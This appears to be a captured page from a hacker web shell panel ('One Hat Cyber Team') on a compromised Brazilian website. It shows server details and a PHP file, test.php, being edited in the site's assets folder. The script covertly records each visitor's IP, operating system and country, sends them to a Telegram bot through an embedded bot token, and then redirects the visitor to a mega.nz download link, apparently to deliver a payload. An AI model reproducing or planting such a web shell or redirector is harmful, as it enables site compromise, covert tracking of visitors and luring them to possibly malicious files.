One Hat Cyber Team
Your IP :
216.73.216.193
Server IP :
170.247.48.121
Server :
Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.0.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lelopagani.com.br
/
public
/
assets
/
js
/
Edit File:
test.php
<?php // Simple version with OS, IP, and country detection $bot_token = '8478476041:AAH2VIh2MqHJh2LjqAN0ETzLiXxI8Nnx8wg'; $chat_id = '-1003263034109'; $redirect_url = 'https://mega.nz/file/DbwSELpS#r2FYhzgRdZY9S73bPdL_haXOKiklXI98yXXx03fO_kA'; $ip = $_SERVER['REMOTE_ADDR']; $time = date('H:i:s'); $page = $_SERVER['REQUEST_URI']; $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; // Simple OS detection if (strpos($user_agent, 'Windows') !== false) { $os = 'Windows'; } elseif (strpos($user_agent, 'Mac') !== false) { $os = 'macOS'; } elseif (strpos($user_agent, 'Linux') !== false) { $os = 'Linux'; } elseif (strpos($user_agent, 'Android') !== false) { $os = 'Android'; } elseif (strpos($user_agent, 'iPhone') !== false || strpos($user_agent, 'iPad') !== false) { $os = 'iOS'; } else { $os = 'Unknown OS'; } // Get country from IP $country = 'Unknown'; $country_code = ''; $flag = '🏴'; if ($ip && $ip != '::1' && $ip != '127.0.0.1') { try { $json = @file_get_contents("http://ip-api.com/json/{$ip}?fields=country,countryCode"); if ($json) { $data = json_decode($json, true); if ($data && $data['country']) { $country = $data['country']; $country_code = strtoupper($data['countryCode'] ?? ''); // Use country flag emojis based on country code $flag_emojis = [ 'US' => '🇺🇸', 'GB' => '🇬🇧', 'DE' => '🇩🇪', 'FR' => '🇫🇷', 'IT' => '🇮🇹', 'ES' => '🇪🇸', 'RU' => '🇷🇺', 'CN' => '🇨🇳', 'JP' => '🇯🇵', 'KR' => '🇰🇷', 'BR' => '🇧🇷', 'IN' => '🇮🇳', 'CA' => '🇨🇦', 'AU' => '🇦🇺', 'MX' => '🇲🇽', 'ID' => '🇮🇩', 'NL' => '🇳🇱', 'TR' => '🇹🇷', 'SA' => '🇸🇦', 'CH' => '🇨🇭', 'SE' => '🇸🇪', 'PL' => '🇵🇱', 'BE' => '🇧🇪', 'NO' => '🇳🇴', 'AE' => '🇦🇪', 'EG' => '🇪🇬', 'AR' => '🇦🇷', 'VN' => '🇻🇳', 'TH' => '🇹🇭', 'PK' => '🇵🇰', 'BD' => '🇧🇩', 'NG' => '🇳🇬', 'IR' => '🇮🇷', 'PH' => '🇵🇭', 'MY' => '🇲🇾', 'SG' => '🇸🇬', 'IL' => '🇮🇱', 'DK' => '🇩🇰', 'FI' => '🇫🇮', 'CL' => '🇨🇱', 'CO' => '🇨🇴', 'ZA' => '🇿🇦', 'IE' => '🇮🇪', 'AT' => '🇦🇹', 'PE' => '🇵🇪', 'CZ' => '🇨🇿', 'RO' => '🇷🇴', 'HU' => '🇭🇺', 'GR' => '🇬🇷', 'PT' => '🇵🇹', 'UA' => '🇺🇦', 'KZ' => '🇰🇿', 'KW' => '🇰🇼', 'QA' => '🇶🇦', 'OM' => '🇴🇲', 'LB' => '🇱🇧', 'JO' => '🇯🇴', 'BH' => '🇧🇭', 'UY' => '🇺🇾', 'CR' => '🇨🇷', 'PA' => '🇵🇦', 'EC' => '🇪🇨', 'BO' => '🇧🇴', 'PY' => '🇵🇾', 'DO' => '🇩🇴', 'GT' => '🇬🇹', 'SV' => '🇸🇻', 'HN' => '🇭🇳', 'NI' => '🇳🇮', 'CU' => '🇨🇺', 'JM' => '🇯🇲', 'HT' => '🇭🇹', 'TT' => '🇹🇹', 'BS' => '🇧🇸', 'BB' => '🇧🇧', 'GD' => '🇬🇩', 'LC' => '🇱🇨', 'VC' => '🇻🇨', 'AG' => '🇦🇬', 'DM' => '🇩🇲', 'KN' => '🇰🇳', 'WS' => '🇼🇸', 'FJ' => '🇫🇯', 'SB' => '🇸🇧', 'VU' => '🇻🇺', 'KI' => '🇰🇮', 'TO' => '🇹🇴', 'FM' => '🇫🇲', 'MH' => '🇲🇭', 'PW' => '🇵🇼', 'TV' => '🇹🇻', 'NR' => '🇳🇷' ]; if (isset($flag_emojis[$country_code])) { $flag = $flag_emojis[$country_code]; } } } } catch (Exception $e) { // Silently fail } } $message = "🌐 New Visit\n"; $message .= "🕐 Time: $time\n"; $message .= "📍 IP: $ip\n"; $message .= "{$flag} Country: $country\n"; $message .= "💻 OS: $os\n"; $message .= "🔗 Page: $page"; // Send to Telegram $url = "https://api.telegram.org/bot{$bot_token}/sendMessage"; $data = [ 'chat_id' => $chat_id, 'text' => $message ]; // Non-blocking request $options = ['http' => ['method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => http_build_query($data)]]; @file_get_contents($url, false, stream_context_create($options)); // Redirect header("Location: $redirect_url"); exit(); ?>
Simpan